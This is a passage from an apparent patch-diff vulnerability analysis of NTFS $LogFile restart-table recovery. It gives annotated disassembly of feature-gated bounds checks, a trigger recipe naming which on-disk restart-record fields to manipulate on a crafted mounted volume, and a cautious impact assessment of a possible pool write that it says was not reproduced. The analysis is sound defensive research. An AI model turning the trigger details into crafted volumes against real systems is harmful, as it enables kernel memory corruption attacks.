&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206405&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; declared size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020640A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020640C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C02064CD&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; STATUS_DISK_CORRUPT&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206412&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206415&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206420&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; length = [rsi+40h] - declared size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206428&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;NtfsCheckRestartTable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the patched build (&lt;code&gt;0x1C0206294&lt;/code&gt;) the same region reads &lt;code&gt;... lea edi, ds:20h[rax*8] ... movzx ecx, word ptr [r8+4] / cmp edi, ecx / jnz &amp;lt;corrupt&amp;gt;&lt;/code&gt; with no &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gate.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;InitializeRestartState&lt;/code&gt; — Unpatched gated copy path (&lt;code&gt;0x1C016DA08&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E01B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_2076398905_59354624_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E022&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E02A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r10d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; entry count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E02E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10-1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E032&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E034&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C016E06F&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; feature == 0 -&amp;gt; plain shl path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E03E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E042&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlULongMult&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; overflow-checked (count-1)*8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E047&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E049&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C016E9E6&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; overflow -&amp;gt; error&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E064&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E067&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C016E9E6&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E06D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C016E08A&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E06F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; no overflow check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E081&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E084&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C016EA64&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E08A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r10d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E08D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E091&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; Src&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E095&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; Dst&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C016E099&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patch removes the three &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gates in this function, so the overflow-checked &lt;code&gt;RtlULongMult&lt;/code&gt; path and the associated size compares run unconditionally.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Prepare a crafted NTFS volume image&lt;/strong&gt; (VHD or raw disk) whose transaction log (&lt;code&gt;$LogFile&lt;/code&gt;) restart area and restart tables contain the manipulated fields below.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manipulate the restart-record fields&lt;/strong&gt; consumed by the recovery path:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReadRestartTable&lt;/code&gt; reads the entry count at &lt;code&gt;[record+0x0e]&lt;/code&gt; and the declared size at &lt;code&gt;[record+0x04]&lt;/code&gt;; a mismatch with &lt;code&gt;(count&amp;lt;&amp;lt;3)+0x20&lt;/code&gt; is the input to Finding 2.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; reads the source VCN field at &lt;code&gt;[record+0x18]&lt;/code&gt; and the entry count at &lt;code&gt;[record+0x0e]&lt;/code&gt;; the write index is &lt;code&gt;source_vcn − dest_start_vcn + counter&lt;/code&gt;, compared against the destination capacity at &lt;code&gt;[dest+0x0c]&lt;/code&gt; (Finding 1).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InitializeRestartState&lt;/code&gt; reads the entry count at &lt;code&gt;[entry+0x0c]&lt;/code&gt; used to size the restart-table &lt;code&gt;memmove&lt;/code&gt; (Finding 3).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mount the volume&lt;/strong&gt; (for example &lt;code&gt;CreateVirtualDisk&lt;/code&gt; + &lt;code&gt;AttachVirtualDisk&lt;/code&gt;, or attaching a physical device). NTFS runs log recovery on mount, reaching &lt;code&gt;NtfsRestartVolume → InitializeRestartState → ReadRestartTable&lt;/code&gt; and &lt;code&gt;NtfsRestartVolume → AnalysisPass → PageUpdateAnalysis&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Observed behavior.&lt;/strong&gt; On the unpatched build, whether the gated checks execute depends on the runtime state of &lt;code&gt;g_Feature_2076398905_59354624&lt;/code&gt;. When a gated check does not execute, an inconsistent restart record is processed without that check; the patched build always raises &lt;code&gt;STATUS_DISK_CORRUPT&lt;/code&gt; (&lt;code&gt;0xC0000032&lt;/code&gt;) on the same inconsistency. A demonstrated pool overflow was not reproduced against the shipped default configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Operation guarded (Finding 1):&lt;/strong&gt; an 8-byte write into the destination restart-table entry's extent array at index &lt;code&gt;source_vcn − dest_start_vcn + counter&lt;/code&gt;. If the feature-gated bounds check does not run and a crafted log record supplies an index beyond &lt;code&gt;[dest+0x0c]&lt;/code&gt;, the write lands past the allocation, which is why the corrected CWE is CWE-787.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Values involved:&lt;/strong&gt; both the index and the written 8 bytes derive from the on-disk restart record, so a successful bypass would be a controllable pool write. This is stated as the guarded operation, not as a reproduced primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrated:&lt;/strong&gt; the runtime default of the feature flag in the unpatched build, a concrete out-of-range index surviving the other log-record validators (&lt;code&gt;NtfsCheckLogRecord&lt;/code&gt;, &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt;), and any exploitation beyond the write itself. Those claims are therefore not made here.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Notes&lt;/h2&gt;
&lt;p&gt;Addresses use the preferred image base &lt;code&gt;0x1C000000&lt;/code&gt;; actual runtime addresses are the loaded module base plus the offset.&lt;/p&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;PageUpdateAnalysis&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset (unpatched)&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0206061&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call EvaluateCurrentState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature evaluation — removed in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C020606F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test eax, eax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature result — removed in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0206071&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jz 0x1C020607C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Skips bounds check when feature == 0 — removed in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0206073&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp ecx, [rdi+0xc]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bounds check — unconditional in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0206076&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jnb 0x1C020612E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Branch to &lt;code&gt;STATUS_DISK_CORRUPT&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0206083&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rdi+rcx*8+0x20], rax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The guarded 8-byte write&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Restart-table entry fields referenced by the code: capacity at &lt;code&gt;+0x0c&lt;/code&gt;, start VCN at &lt;code&gt;+0x10&lt;/code&gt;, source VCN field at &lt;code&gt;+0x18&lt;/code&gt;, entry count at &lt;code&gt;+0x0e&lt;/code&gt;, extent array at &lt;code&gt;+0x20&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;ReadRestartTable&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset (unpatched)&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C02063D3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;movzx eax, word [r15+0xe]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads entry count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C02063F5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lea rcx, g_Feature_2076398905_59354624&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature descriptor — removed in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C02063FC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call EvaluateCurrentState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature evaluation — removed in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0206401&lt;/code&gt;–&lt;code&gt;0x1C0206403&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test eax,eax&lt;/code&gt; / &lt;code&gt;jz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Skips size check when feature == 0 — removed in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C020640A&lt;/code&gt;–&lt;code&gt;0x1C020640C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp edi,eax&lt;/code&gt; / &lt;code&gt;jnz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Size-consistency check — unconditional in patch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Finding 3 — &lt;code&gt;InitializeRestartState&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Feature gates at &lt;code&gt;0x1C016DF20&lt;/code&gt;, &lt;code&gt;0x1C016E01B&lt;/code&gt;, &lt;code&gt;0x1C016E11D&lt;/code&gt;; the overflow-checked &lt;code&gt;RtlULongMult&lt;/code&gt; size computation at &lt;code&gt;0x1C016E042&lt;/code&gt; guards the restart-table &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C016E099&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Behavioral changes (feature gate removed)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C0205DC4&lt;/code&gt;, patched &lt;code&gt;0x1C0205D04&lt;/code&gt;) — One of two &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_2076398905_59354624)&lt;/code&gt; gates removed (the copy-loop gate). The &lt;code&gt;cmp ecx,[rdi+0xc]&lt;/code&gt; / &lt;code&gt;jnb&lt;/code&gt; bounds check, present in both builds, now runs unconditionally. Loop counter register changed (&lt;code&gt;ebx&lt;/code&gt;→&lt;code&gt;r8d&lt;/code&gt;) and WPP trace-line immediates shifted (&lt;code&gt;0x1E1758&lt;/code&gt;/&lt;code&gt;0x1E17CD&lt;/code&gt; → &lt;code&gt;0x1E17AB&lt;/code&gt;/&lt;code&gt;0x1E1739&lt;/code&gt;); the second feature gate on &lt;code&gt;g_Feature_2859161914_59426036&lt;/code&gt; is present in both builds and unchanged.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ReadRestartTable&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C020634C&lt;/code&gt;, patched &lt;code&gt;0x1C0206294&lt;/code&gt;) — The single &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gate on the &lt;code&gt;(count&amp;lt;&amp;lt;3)+0x20&lt;/code&gt; size-consistency check removed; the &lt;code&gt;cmp&lt;/code&gt;/&lt;code&gt;jnz&lt;/code&gt; now runs unconditionally. Stack frame and register allocation shifted; remaining differences are WPP trace-constant shifts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;InitializeRestartState&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C016DA08&lt;/code&gt;, same address both builds) — All three &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gates removed. The overflow-checked &lt;code&gt;RtlULongMult&lt;/code&gt; size path and the associated compares now run unconditionally ahead of the restart-table &lt;code&gt;memmove&lt;/code&gt; copies. Stack frame reduced &lt;code&gt;0x490&lt;/code&gt;→&lt;code&gt;0x480&lt;/code&gt; and registers reallocated; &lt;code&gt;memmove&lt;/code&gt; call count is unchanged (both builds copy at the same sites).&lt;/p&gt;
&lt;h3&gt;Tracing-metadata-only changes (not security relevant)&lt;/h3&gt;
&lt;p&gt;Fourteen further functions differ only in WPP software-tracing metadata — trace line-number immediates and/or the per-build trace-GUID control-block symbol — with no control-flow, bounds-check, or copy change: &lt;code&gt;AnalysisPass&lt;/code&gt;, &lt;code&gt;DoAction&lt;/code&gt;, &lt;code&gt;NtfsAbortTransaction&lt;/code&gt;, &lt;code&gt;OpenAttributeForRestart&lt;/code&gt;, &lt;code&gt;OpenAttributesForRestart&lt;/code&gt;, &lt;code&gt;NtfsCloseAttributesFromRestart&lt;/code&gt;, &lt;code&gt;NtfsIsTransactionCommitted&lt;/code&gt;, &lt;code&gt;RedoPass&lt;/code&gt;, &lt;code&gt;UndoPass&lt;/code&gt;, &lt;code&gt;WPP_SF_qDLi&lt;/code&gt;, &lt;code&gt;WPP_SF_qDLiD&lt;/code&gt;, &lt;code&gt;WPP_SF_qDLiDDL&lt;/code&gt;, &lt;code&gt;WPP_SF_qDLii&lt;/code&gt;, &lt;code&gt;WPP_SF_qDLiiiiiiiii&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed. The patch consists entirely of in-place modifications: the removal of the &lt;code&gt;g_Feature_2076398905_59354624&lt;/code&gt; feature gate from three restart-recovery functions, plus tracing-metadata churn in fourteen others.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implication:&lt;/strong&gt; The validation logic was already present in the codebase behind a runtime WIL feature-staging flag. The patch promotes those checks to unconditional execution. No new validation helper or sanitizer was introduced.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;h3&gt;Confidence: High for the mechanism; the exploitability is not established&lt;/h3&gt;
&lt;p&gt;The mechanism is verified directly against both builds: &lt;code&gt;g_Feature_2076398905_59354624&lt;/code&gt; is referenced five times across the three functions in the unpatched build and zero times in the patched build, and &lt;code&gt;EvaluateCurrentState&lt;/code&gt; calls &lt;code&gt;EvaluateFeature&lt;/code&gt; (WIL feature staging), so the gate is a runtime feature flag evaluated on retail builds — not a checked-build (&lt;code&gt;#if DBG&lt;/code&gt;) assertion. The direction is confirmed: the patched build is strictly stricter (the checks always run).&lt;/p&gt;
&lt;h3&gt;What is and is not claimed&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Claimed:&lt;/strong&gt; three real validation checks in NTFS &lt;code&gt;$LogFile&lt;/code&gt; restart-table recovery were feature-gated in the unpatched build and made unconditional in the patched build; the guarded write in &lt;code&gt;PageUpdateAnalysis&lt;/code&gt; uses an index and value derived from on-disk log-record fields.&lt;/li&gt;
